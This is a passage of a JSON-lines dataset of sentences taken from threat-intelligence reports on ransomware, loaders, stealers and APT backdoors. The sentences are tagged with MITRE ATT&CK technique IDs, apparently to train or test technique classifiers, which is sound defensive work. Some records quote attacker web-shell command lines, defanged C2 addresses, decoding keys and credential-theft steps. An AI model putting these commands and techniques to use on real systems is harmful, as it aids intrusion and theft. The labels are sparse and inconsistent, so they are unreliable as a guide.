JavaScript injection is lodged within the header section of the website on every page.", "labels": ["T1027"], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"} {"sentence": "For footer.php, the injected script is hxxps://cdn.scriptsplatform[.]com/scripts/footer.js.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"} {"sentence": "There is only a short window of time between a vulnerability disclosure and active compromise attempts, and website owners are not realistically able to manually issue patches in such short time frames in all instances.", "labels": [], "doc_title": "Vulnerability in Essential Addons for Elementor Leads to Mass Infection"} {"sentence": "FBI and CISA believe this variant, which uses its own custom-made file encryption program, evolved from earlier iterations that used “Zeon” as a loader.", "labels": [], "doc_title": "StopRansomware Royal Ransomware"} {"sentence": "See MITRE ATT&CK for Enterprise for all referenced tactics and techniques.", "labels": [], "doc_title": "StopRansomware Royal Ransomware"} {"sentence": "Royal ransomware uses a unique partial encryption approach that allows the threat actor to choose a specific percentage of data in a file to encrypt.", "labels": [], "doc_title": "StopRansomware Royal Ransomware"} {"sentence": "In addition to encrypting files, Royal actors also engage in double extortion tactics in which they threaten to publicly release the encrypted data if the victim does not pay the ransom.", "labels": [], "doc_title": "StopRansomware Royal Ransomware"} {"sentence": "Initial Access Royal actors gain initial access to victim networks in a number of ways including: Phishing.", "labels": [], "doc_title": "StopRansomware Royal Ransomware"} {"sentence": "According to third-party reporting, Royal actors most commonly (in 66.7% of incidents) gain initial access to victim networks via successful phishing emails [T1566].", "labels": [], "doc_title": "StopRansomware Royal Ransomware"} {"sentence": "Reports from trusted third-party sources indicate that Royal actors may leverage brokers to gain initial access and source traffic by harvesting virtual private network (VPN) credentials from stealer logs.", "labels": [], "doc_title": "StopRansomware Royal Ransomware"} {"sentence": "Ransomware operators often use open-source projects to aid their intrusion activities; Royal operators have recently been observed using Chisel, a tunneling tool transported over HTTP and secured via SSH [T1572], to communicate with their C2 infrastructure.", "labels": [], "doc_title": "StopRansomware Royal Ransomware"} {"sentence": "[T1021.001].", "labels": [], "doc_title": "StopRansomware Royal Ransomware"} {"sentence": "[T1119]", "labels": [], "doc_title": "StopRansomware Royal Ransomware"} {"sentence": "Our Security Operations Centers are supported with Threat Intelligence, Tactical Threat Response and Advanced Threat Analytics driven by our Threat Response Unit – the TRU team.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"} {"sentence": "In TRU Positives, eSentire’s Threat Response Unit (TRU) provides a summary of a recent threat investigation.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"} {"sentence": "Here’s the latest from our TRU Team… What did we find? GuLoader is a sophisticated malware loader which has heavily abused tax-themed lures in the first half of 2023.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"} {"sentence": "In April 2023, TRU reported on ongoing GuLoader activity using tax-themed lures and decoy files.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"} {"sentence": "In the latter half of May, TRU identified an updated VBScript GuLoader variant across multiple customers.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"} {"sentence": "These strings are passed to a de-obfuscation function (Sawmo9).", "labels": ["T1140"], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"} {"sentence": "In essence, it extracts every other character from the string and concatenates into a variable named $Dryde0, which is returned by the function.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"} {"sentence": "This is likely done to reload PowerShell with the full command line argument but with a 32-bit process required for GuLoader’s shellcode.", "labels": ["T1059.003"], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"} {"sentence": "The last section contains the second stage PowerShell code: Figure 8 CyberChef recipe to extract the second stage PowerShell from the payload package.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"} {"sentence": "Once de-obfuscated, the purpose of the code is to reflectively load GuLoader’s shellcode in memory (the code overlaps heavily with this GitHub repo).", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"} {"sentence": "Shellcode A Copies the first 648 bytes containing shellcode from the payload package retrieved by the first stage PowerShell.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"} {"sentence": "This shellcode is used to decode the second buffer using key 58 3E 88 D0.", "labels": ["T1140"], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"} {"sentence": "The activity was initially identified by eSentire MDR for Network via our global IP address blocklist.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"} {"sentence": "GuLoader is a highly evasive malware loader commonly used to deliver info-stealers and Remote Administration Tools (RATs).", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"} {"sentence": "The result is a memory-resident malware payload operating inside a legitimate Windows process.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"} {"sentence": "Recent GuLoader campaigns employ a topical tax-themed lure as a way of enticing users to click on malicious shortcut files.", "labels": ["T1204.002"], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"} {"sentence": "Protect endpoints against malware by:Ensuring antivirus signatures are up-to-date.", "labels": [], "doc_title": "GuLoader VBScript Variant Returns with PowerShell Updates"} {"sentence": "Simultaneously active: Xollam and Mallox variants", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "The downloaded file has a random file name and might have different extensions such as “.png,” “.bmp,” and “.jpg,” among others.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "Since this account was eventually suspended, the threat actors created a new one. Figure 6.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "Our investigations also revealed that the ransomware might have connections with other groups such as the BlueSky ransomware, as well as the threat actors who perform brute-force attacks on MS SQL Servers.", "labels": ["T1110"], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "Within just two years of activity, the threat actors behind the ransomware are proving their hunger for prolificacy, expanding their business model with a RaaS affiliate program and maintaining several platforms to announce victims and expose stolen data.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "Now unhindered, the gang will naturally try to maximize profits from its victims.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "This involves creating three backup copies on two different file formats, with one of the copies stored in a separate location.", "labels": [], "doc_title": "Xollam the Latest Face of TargetCompany"} {"sentence": "We assess that this activity represents an evolution of tooling associated with Operation Soft Cell.", "labels": [], "doc_title": "Operation Tainted Love Chinese APTs Target Telcos in New Attacks"} {"sentence": "In collaboration with QGroup GmbH, SentinelLabs recently observed initial threat activities targeting the telecommunication sector.", "labels": [], "doc_title": "Operation Tainted Love Chinese APTs Target Telcos in New Attacks"} {"sentence": "Once a foothold is established, the attackers conduct a variety of reconnaissance, credential theft, lateral movement, and data exfiltration activities.", "labels": [], "doc_title": "Operation Tainted Love Chinese APTs Target Telcos in New Attacks"} {"sentence": "We assess that mim221 is a recent version of an actively maintained credential theft capability upgraded with new anti-detection features.", "labels": [], "doc_title": "Operation Tainted Love Chinese APTs Target Telcos in New Attacks"} {"sentence": "However, we also recognize the possibility of closed-source tool-sharing between Chinese state-sponsored threat actors, and the possibility of a shared vendor or digital quartermaster.", "labels": [], "doc_title": "Operation Tainted Love Chinese APTs Target Telcos in New Attacks"} {"sentence": "They also used the Local Group (LG) tool to enumerate all local groups and members in a domain.", "labels": [], "doc_title": "Operation Tainted Love Chinese APTs Target Telcos in New Attacks"} {"sentence": "c:\\windows\\system32\\inetsrv\\&ping 8.8.8.8 -n 1&cd \"cmd\" /c cd /d", "labels": ["T1059.003"], "doc_title": "Operation Tainted Love Chinese APTs Target Telcos in New Attacks"} {"sentence": "c:\\windows\\system32\\inetsrv\\&net use&cd \"cmd\" /c cd /d", "labels": ["T1059.003"], "doc_title": "Operation Tainted Love Chinese APTs Target Telcos in New Attacks"} {"sentence": "The threat actor made use of the native makecab tool to compress information gathered for exfiltration.", "labels": ["T1059.003"], "doc_title": "Operation Tainted Love Chinese APTs Target Telcos in New Attacks"} {"sentence": "pc.exe decrypts AddSecurityPackage64.dll and pc.dll using the AES encryption algorithm, providing the operator-provided execution password as an initialization vector.", "labels": ["T1140"], "doc_title": "Operation Tainted Love Chinese APTs Target Telcos in New Attacks"} {"sentence": "Querying service tag informationAddSecurityPackage64.dll injects pc.dll into LSASS by deploying pc.dll as a Security Package.", "labels": ["T1055"], "doc_title": "Operation Tainted Love Chinese APTs Target Telcos in New Attacks"} {"sentence": "To this end, AddSecurityPackage64.dll issues an RPC call to LSASS – to the ncalrpc:[lsasspirpc] RPC endpoint, providing the file path to pc.dll to LSASS.", "labels": [], "doc_title": "Operation Tainted Love Chinese APTs Target Telcos in New Attacks"} {"sentence": "getHashFlsa64.dll accesses the memory of its host LSASS process and stores stolen credentials in a Mimikatz log file named pc.log for later exfiltration.", "labels": ["T1003.001"], "doc_title": "Operation Tainted Love Chinese APTs Target Telcos in New Attacks"} {"sentence": "The credential theft functionality of getHashFlsa64.dll is implemented in its export function GetLogonInfo.", "labels": [], "doc_title": "Operation Tainted Love Chinese APTs Target Telcos in New Attacks"} {"sentence": "Our analysis identified indicators that point to the operation Soft Cell actors.", "labels": [], "doc_title": "Operation Tainted Love Chinese APTs Target Telcos in New Attacks"} {"sentence": "While the group’s original focus has been on telecommunication providers, recent reports suggest that Gallium has recently expanded targeting across other sectors.", "labels": [], "doc_title": "Operation Tainted Love Chinese APTs Target Telcos in New Attacks"} {"sentence": "Previous research indicates possible connections between the Soft Cell actors and APT41, which is known to conduct Chinese state-sponsored espionage activity as well as financially motivated activity targeting multiple sectors with a broad geographical coverage, including telecommunication providers.", "labels": [], "doc_title": "Operation Tainted Love Chinese APTs Target Telcos in New Attacks"} {"sentence": "The connection between the Soft Cell actors and APT41 that most relates to the activities that we observed is based on the Whizzimo, LLC certificate of the Soft Cell binary with a PDB path E:\\vs_proj\\simplify_modify\\Win32\\simplify.pdb, a binary that possibly originates from the same source as mim221.", "labels": [], "doc_title": "Operation Tainted Love Chinese APTs Target Telcos in New Attacks"} {"sentence": "REvil", "labels": [], "doc_title": "Defending Users NAS Devices From Evolving Threats"} {"sentence": "After analyzing the samples, we found four different versions of the malware, all of which rely on an embedded JavaScript Observed Notation (JSON)-based configuration to set parameters before encrypting files.", "labels": ["T1027"], "doc_title": "Defending Users NAS Devices From Evolving Threats"} {"sentence": "Infected Linux device connected to a C&C server How to protect NAS devices Without proper security implemented in NAS devices, users and businesses will continue to be targeted since these tools can be used as entry points for information theft, malware infection, and the disruption of operations, among others.", "labels": [], "doc_title": "Defending Users NAS Devices From Evolving Threats"} {"sentence": "By: Aliakbar Zahravi, Peter Girnus February 09, 2023Read time: ( words) Save to Folio Subscribe We recently found an active campaign that uses a fake employment pretext targeting Eastern Europeans in the cryptocurrency industry to install an information stealer.", "labels": ["T1005"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"} {"sentence": "Analysis of the Enigma infrastructure Enigma uses two servers in its operation.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"} {"sentence": "The second server 193[.]56[.]146[.]29 is used for DevOps and logging purposes.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"} {"sentence": "We have also identified the Amadey C2 panel on 193[.]56[.]146[.]29 which has only one sample (95b4de74daadf79f0e0eef7735ce80bc) communicating with it. Figure 4.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"} {"sentence": "The exposed info.php page of the threat actors’ command-and-control (C&C) infrastructure", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"} {"sentence": "By understanding this, we can implement an automated system to help us retrieve encrypted data and streamline the analysis process.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"} {"sentence": "The use of standard methods like GetProcAddress and LoadLibrary might raise a red flag, so the custom implementation helps to avoid detection.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"} {"sentence": "kernel32_WriteFile 0x1CE43DE : kernel32_CloseHandle 0x548C5A4 : Rpcrt4_RpcStringBindingComposeW 0x7B0F79F : Rpcrt4_RpcBindingFromStringBindingW 0x69A2B62 :", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"} {"sentence": "Recreating HKCU\\SOFTWARE\\Inte It then collects information about the .NET Framework Setup on the infected system and sends it to its C&C server as shown in Figure 14. Figure 14.", "labels": ["T1082"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"} {"sentence": "Constructing first debug message Figure 15.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"} {"sentence": "Upon obtaining the file_path, the malware then sends a request to download the next stage binary file (shown in Figure 17) Figure 17.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"} {"sentence": "Figure 22.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"} {"sentence": "If the malware fails to obtain elevated privileges, it will bypass the disablement of Windows Defender and proceed to download and execute the next stage of its attack.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"} {"sentence": "Stage 2 embedded binary files Name MD5 SHA-1 SHA-256 iQVW64.SYS (CVE-2015-2291) Vulnerable Intel driver, used for kernel exploitation 1898ceda3247213c084f43637ef163b3 d04e5db5b6c848a29732bfd52029001f23c3da75 4429f32db1cc70567919d7d47b844a91cf1329a6cd116f582305f3b7b60cd60b Driver.", "labels": ["T1027"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"} {"sentence": "Finally, the EngimaDownloader_s002 downloads and executes the next-stage payload on the infected system.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"} {"sentence": "Upon receiving the runassembly command, the malware downloads the next part of the final stage payload (file_19.pack), decompresses it using the GZipStream API, and executes it.", "labels": ["T1105", "T1140"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"} {"sentence": "The final stage is the Enigma Stealer which, as we previously mentioned, is a modified version of an open-source information stealer project called Stealerium.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"} {"sentence": "Upon execution, the malware initializes configuration and sets up its working directory. Figure 37.", "labels": ["T1074.001"], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"} {"sentence": "An example of data exfiltrated from the victim’s system Figure 40.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"} {"sentence": "Data Orbitum\\User Data Comodo\\Dragon\\User Data Amigo\\User\\User Data Torch\\User Data Yandex\\YandexBrowser\\User Data Comodo\\User Data 360Browser\\Browser\\User Data Maxthon3\\User Data K-Melon\\User Data CocCoc\\Browser\\User Data BraveSoftware\\Brave-Browser\\User Data Microsoft\\Edge\\User Data http://ip-api.com/line/?fields=hosting https://api.mylnikov.org/geolocation/wifi?v=1.1&bssid= https://discordapp.com/api/v6/users/@me Conclusion Similar to previous campaigns involving groups such as Lazarus, this campaign demonstrates a persistent and lucrative attack vector for various advanced persistent threat (APT) groups and threat actors.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"} {"sentence": "Furthermore, this case highlights the evolving nature of modular malware that employ highly obfuscated and evasive techniques along with the utilization of continuous integration and continuous delivery (CI/CD) principles for continuous malware development.", "labels": [], "doc_title": "Enigma Stealer Targets Cryptocurrency Industry with Fake Jobs"} {"sentence": "Former members of the Trickbot/Conti syndicate which X-Force tracks as ITG23 have been using Domino since at least late February 2023 to deliver either the Project Nemesis information stealer or more capable backdoors such as Cobalt Strike.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"} {"sentence": "We identified Domino Backdoor samples from December 2022, which used a different loader that we have dubbed NewWorldOrder Loader.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"} {"sentence": "Finally, X-Force analysts also observed that two of the Domino Backdoor C2 addresses belonging to MivoCloud: 94.158.247[.]72 and 185.225.17[.]202 are very close to C2 addresses ITG14 has used previously for SSH-based Backdoors such as 94.158.247[.]23 and 185.225.17[.]220.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"} {"sentence": "Other researchers — here and here — observed ITG14 attacks using Ryuk ransomware in 2020, which has been attributed to the Trickbot/Conti cybercrime syndicate, while others have also identified connections between a FIN7 developer and tools used by the BlackBasta group, whose members also have ties to the former Trickbot/Conti syndicate.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"} {"sentence": "The second payload, with resource ID 6732, is a PE file.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"} {"sentence": "In this case the key is {03 9B 54 72 17 D3 5E E6 E0 E9 EF E0 DF 36 0D 79}.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"} {"sentence": "This is the same format used by Lizar to store its configuration. 00000000 38 38 2e 31 31 39 2e 31 37 35 2e 31 32 34 7c 39 |88.119.175.124|9| 00000010 34 2e 31 35 38 2e 32 34 37 2e 37 32 00 6e ee 99 |4.158.247.72.nî.| 00000020 37 b1 2d 84 e5 8d 6a 70 21 3e d5 21 2c c1 37 b5 |7±-.å.jp!>Õ!,Á7µ| 00000030 1f b7 09 f3 9b 0a c7 fe 53 32 23 6a 8c b0 4e 22 |.·.ó..ÇþS2#j.°N”| Scroll to view full table", "labels": ["T1140"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"} {"sentence": "If the initial connection is successful, the malware then proceeds to gather basic system information, including username, computer name, and OS version, which it then encrypts using AES-256-CBC and the generated, shared key (null bytes used for IV).", "labels": ["T1033", "T1082", "T1573.001"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"} {"sentence": "5a 29 00 00 0c 32 39 46 65 58 73 6b 64 70 4c |.Z)…29FeXskdpL| 00000030 59 67 0a 76 6e 50 78 53 46 65 6f 4e 4e |Yg.vnPxSFeoNN| Scroll to view full table", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"} {"sentence": "2 0x0000 Unknown 0x21 4 0x5a290000 OS Build Number (0x295A = 10586) 0x25 1 0x0C Size of computer name string 0x26 12 29FeXskdpL Computer Name 0x32 1 0x0A Size of username string 0x33 10 vnPxSFeoNN Username Scroll to view full table", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"} {"sentence": "The following methods are supported:", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"} {"sentence": "A detailed report on the Lizar Toolkit can be found here.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"} {"sentence": "Lizar Loader also generates a system ID which consists of a hash of system data followed by the current process ID, however, it uses a CRC algorithm to create its hash.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"} {"sentence": "The code is written from scratch, neat and clear, there are comments everywhere.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"} {"sentence": "– Selling together with all sources (build, builder, panel) FUNCTIONALITY : Spoiler: STEALER – Log collection takes place in memory – Collection of data from Chromium browsers (Cookies/CC/Passwords/Autofills/Bookmars/History) v80+ – Collection of data from Gecko browsers (Cookies/Passwords/Bookmark/History) v80+ – Collection of RDP/FTP sessions – Grabbink files from the desktop (by extension) – Collection of UserAgent – Collection of information about the system in HTML format – Collect Vpn (NordVpn/OpenVpn/ProtonVpn) –", "labels": ["T1082"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"} {"sentence": "Collecting Steam – Collection of the Telegram session (including the Portable version) – Collecting Discord tokens List of crypto wallets:", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"} {"sentence": "Fig 4 — Nemesis Control Panel Login Screen Fig 5 — Nemesis Dashboard Static Analysis Upon execution Nemesis starts by creating a mutex to ensure only one instance of the malware is running: Local\\\\751E355F-B066-4547-B13E-B185D9176390 The malware keeps a log of its activity, mostly written in the Russian language, and the following is written upon its startup: Logger.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"} {"sentence": "The post Ex-Conti and FIN7 Actors Collaborate with New Domino Backdoor appeared first on Security Intelligence.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"} {"sentence": "Windows Command Shell;For stopping IIS, deleting Volume Shadow Copies, disabling recovery, clearing Windows event logs, etc., the BlackCat ransomware uses the command shell to run appropriate commands.", "labels": ["T1059.003"], "doc_title": "Fat Cats"} {"sentence": "Its value must contain correct first 16 characters used to decrypt BlackCat configuration data.", "labels": [], "doc_title": "Fat Cats"} {"sentence": "T1036 Masquerading;The attackers use a SoftPerfect Network Scanner executable renamed to svchost.exe. ;T1112 Modify Registry;To propagate, BlackCat uses PsExec to modify the system registry parameter MaxMpxCt to increase the number of failed network requests for each client.", "labels": ["T1036.005", "T1112"], "doc_title": "Fat Cats"} {"sentence": ";T1555 Credentials from Password Stores;To extract authentication data from web browsers and other storage spaces the attackers may use NirSoft utilities.", "labels": [], "doc_title": "Fat Cats"} {"sentence": "TA0009 Collection;T1560.001 Archive Collected Data: Archive via Utility;Before being exfiltrated, data may be put in archives using 7-Zip. ;T1005 Data from Local System;The attackers collect information from the local system for exfiltration purposes. ;T1039", "labels": ["T1005"], "doc_title": "Fat Cats"} {"sentence": "Ingress Tool Transfer;After gaining initial access, the attackers copy tools necessary for deployment to the compromised host. ;", "labels": ["T1105"], "doc_title": "Fat Cats"} {"sentence": "Protocol Tunneling;To access the compromised system, the attackers may use tunnels built using ngrok or gost. ;T1573 Encrypted Channel;To remotely access the compromised infrastructure, the attackers may use Cobalt Strike, TeamViewer and ScreenConnect, which perform asymmetric/symmetric encryption of the C&C server communication channel. ;", "labels": ["T1219", "T1573.001"], "doc_title": "Fat Cats"} {"sentence": "T1219", "labels": [], "doc_title": "Fat Cats"} {"sentence": "BlackCat can stop backup services.", "labels": [], "doc_title": "Fat Cats"} {"sentence": "BlackCat can destroy virtual machine snapshots.", "labels": [], "doc_title": "Fat Cats"} {"sentence": ";T1485Data Destruction ;If credentials for accessing a chat with the victim are leaked, BlackCat affiliates may delete encryption keys, which will render decrypting the files impossible. ;T1498 Network Denial of Service ;If the victim refuses to pay a ransom, BlackCat may carry out DDoS attacks against the victim’s infrastructure.", "labels": [], "doc_title": "Fat Cats"} {"sentence": "Wiper’s main objective is to destroy data from any storage device and make the information unavailable (T1485).", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"} {"sentence": "There are two ways of removing files, logical and physical.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"} {"sentence": "This action deletes the pointer to the file but not the file data, making it recoverable with forensic tools as long as the Operative System does not write any other file in the same physical location.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"} {"sentence": "However, malware wipers aim to make the data irrecoverable, so they tend to remove the data from the physical level of the disk.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"} {"sentence": "Ransomware operators aim to get a payment in exchange for the key to decrypt the user’s data.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"} {"sentence": "Then it modifies the file extension to a random four-byte extension.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"} {"sentence": "By selecting the file types to be wiped and only writing over the first MB of data, the attackers are optimizing the wiping process.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"} {"sentence": "This is due to not wasting time on system files and only spending the necessary time to wipe each file, rapidly switching to the next file as soon as the current one is unrecoverable.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"} {"sentence": "The attackers have been seen using several methods to distribute the wiper through the domain, like: domain Group Policy Object (GPO) (T1484.001), Impacket or SMB (T1021.002) and WMI (T1047) with an additional worm component named HermeticWizard.", "labels": ["T1047", "T1484.001"], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"} {"sentence": "There is a unique thread per volume, making the wiping process very long.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"} {"sentence": "On the other hand, IsaacWiper creators gave total priority to deliver the most effective wiper, no matter how long it takes to overwrite the full physical disk.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"} {"sentence": "This new wiper showed similarities to previously seen botnets targeting modems using VPNFilter.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"} {"sentence": "Exploiting vulnerabilities allowed the attackers to obtain Initial Access inside all types of networks, where the bot would search for Modbus traffic to identify infected systems with Industrial Control Systems (ICS).", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"} {"sentence": "These wipers leverage the shred command if present, otherwise they use the basic dd or rm commands to wipe the system.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"} {"sentence": "DoubleZero wiper On March 22, 2022 CERT-UA reported a new wiper used against their infrastructure and enterprises.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"} {"sentence": "There are two wiping methods, both of which zero out the selected file.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"} {"sentence": "In addition, consequences can be ameliorated by having periodic backup copies of key infrastructure available.", "labels": [], "doc_title": "Analysis on recent wiper attacks examples and how wiper malware works"} {"sentence": "APT41 backdoors, old and new url: https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/ The PT Expert Security Center regularly spots emerging threats to information security, including both previously known and newly discovered malware.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "The script also sends the output of ipconfig in a POST request to http://zeplin.atwebpages[.]com/inter.php.", "labels": ["T1071.001"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "Page at zeplin.atwebpages_comFigure 5.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "The data structure is as follows: Configuration size (4 bytes)", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "The communication protocol used between the backdoor and C2 server can be separated logically into two levels: Application-level protocol Transport-level protocol On the application level, messages consist of the following fields: FakeTLS header consisting of 5 bytes: Entry type and protocol version (3 bytes).", "labels": ["T1071.001", "T1095"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "Data length, not including header (2 bytes) Message contents: Command ID (4 bytes, little-endian) Command data size (4 bytes, little-endian) Client ID (36 bytes), generated based on the UUID when the backdoor starts operation Command data The first two client–server and server–client messages have command IDs 0x65 and 0x64, respectively.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "For all subsequent messages, the content (not including the FakeTLS header) is transferred in the corresponding encrypted session key. AES-128 is the encryption algorithm used.", "labels": ["T1573.001"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "The HTTPS connection is not used again.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "Additional packets with FakeTLS header KCP protocol This protocol can be implemented on top of any other protocol (including UDP) to ensure quick and reliable data transfer.", "labels": ["T1095"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "Contents of video.rarThe executable files are self-contained loaders of Cobalt Strike Beacon PL shellcode with a similar configuration and the same C2 server.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "Judging by the logo, the source of the video was Australian portal XKb, which releases news materials in Chinese.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "Injection occurs by creating a section via a ZwCreateSection call, getting access to it from the parent and child processes via ZwMapViewOfSection calls, copying shellcode to the section, and placing a jump to the shellcode at the entry point for spoolsv.exe.", "labels": ["T1106"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "Figure 37.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "Compromised certificates are used to sign malicious files intended for future attacks.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "We found one such certificate belonging to Taiwanese company Zealot Digital: Name: ZEALOT DIGITAL INTERNATIONAL CORPORATION Issuer:", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "They include Crosswalk and Metasploit injectors, the juicy-potato utility, and samples of FunnySwitch and ShadowPad. 5.", "labels": ["T1055"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "Contents of the archive x32.exeThe archive unpacks three files (1.vbs, n3.exe, and p3.exe) into the folder c:\\programdata, after which the extracted VBS script runs both executables.", "labels": ["T1027", "T1036.005"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "Interestingly, several of its other subdomains are mentioned in an FBI report.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "Its root element may contain the following fields: Debug is the flag for enabling debug logging Group is an arbitrary string sent together with system information.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "The standard classes HttpWebRequest and HttpListener from .NET", "labels": ["T1106"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "TcpBindConnector and HttpBindConnector support simultaneous connections for multiple clients.", "labels": ["T1106"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "The signature is three random bytes followed by their sum with modulo 256.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} {"sentence": "Incoming messages with an invalid signature are discarded.", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"} 